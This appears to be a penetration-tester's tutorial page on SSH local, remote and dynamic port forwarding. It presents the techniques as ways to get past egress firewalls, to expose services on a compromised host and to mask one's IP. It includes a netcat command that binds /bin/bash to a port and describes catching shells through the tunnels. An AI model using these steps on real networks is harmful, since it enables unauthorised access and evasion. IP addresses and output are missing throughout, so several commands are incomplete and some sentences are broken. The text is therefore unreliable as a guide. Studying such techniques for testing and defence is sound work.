SSH Tunnelling / Port Forwarding

Exploring SSH tunneling

SSH: Local Port Forwarding

If you are on the network that restricts you from establishing certain connections to the outside world, local port forwarding allows you to bypass this limitation. For example, if you have a host that you want to access, but the egress firewall won't allow it, do this:

ssh -L user@SSH_SERVER

You can now sent traffic to on your localhost and that traffic will flow through the SSH_SERVER to REMOTE_HOST:PORT.

Let's see with a real example.

On machine

ssh -L9999: root@ -N -f

The above says: bind on a local port 9999 (on a host Listen for any traffic coming to that port 9999 (i.e or and forward it all that to the port 4444 on host

We can see that the is now indeed listening:

On machine

Machine is listening on port 4444 - it is ready to give a reverse shell to whoever joins:

On machine

Since the machine is listening on, let's netcat it - this should give us a reverse shell from

The above indeed shows that we got a reverse shell from and the local tunnel worked.

SSH: Remote Port Forwarding

Remote port forwarding helps in situations when you have compromised a box that has a service running on a port bound to, but you want to access that service from outside. In other words, remote port forwarding exposes an obscured port (bound to localhost) so that it can be reached from outside through the SSH tunnel.

Pseudo syntax for creating remote port forwarding with ssh tunnels is:

ssh -R 5555:LOCAL_HOST:4444 user@SSH_SERVER

The above suggests that any traffic sent to port 5555 on SSHSERVER will be forwarded to the port 4444 on the LOCALHOST - the host that runs the service that is only accessible from inside that host. In other words, service on port 4444 on LOCALHOST will now be exposed through the SSHSERVER's port 5555.

Let's see an example.

On machine

Let's create a reverse shell listener bound to (not reachable to hosts from outside) on port 4444:

nc -lp 4444 -s -e /bin/bash & ss -lt

Now, let's open a tunnel to and create remote port forwarding by exposing the port 4444 for the host

ssh -R5555:localhost:4444 root@ -fN

The above says: bind a port 5555 on and make sure that any traffic sent to port 5555 on, gets forwarded to a service listening on localhost:4444 on to this box (

On machine

Indeed, we can see a port 5555 got opened up on as part of the tunnel creation:

Let's try sending some traffic to - this should give us a reverse shell from the - which it did:

SSH: Dynamic Port Forwarding

Pseudo syntax for creating dynamic port forwarding:

ssh -D user@SSH_SERVER

The above essentially means: bind port 9090 on localhost and any traffic that gets sent to this port, please relay it to the SSH_SERVER - I trust it to make the connections for me.

For the demo, let's check what is our current IP before the dynamic port forwarding is set up:

Creating an ssh tunnel to and binding port 9090 on the local machine

ssh -D9090 root@

Checking network connections on the localhost, we can see that the port 9090 is now listening:

This means that if we send any traffic to, that traffic will be sent to the hosts on the other end of the ssh tunnel - and then the host will make connections to other hosts on behalf of the host It will return any data it receives back to the originating host

To test this, we can set our browser to use a socks5 proxy server like so:

If we check what our IP is again, it is obvious that we are now indeed masquerading the internet as

Dynamic port forwarding plays along nicely with ProxyChains.


Last updated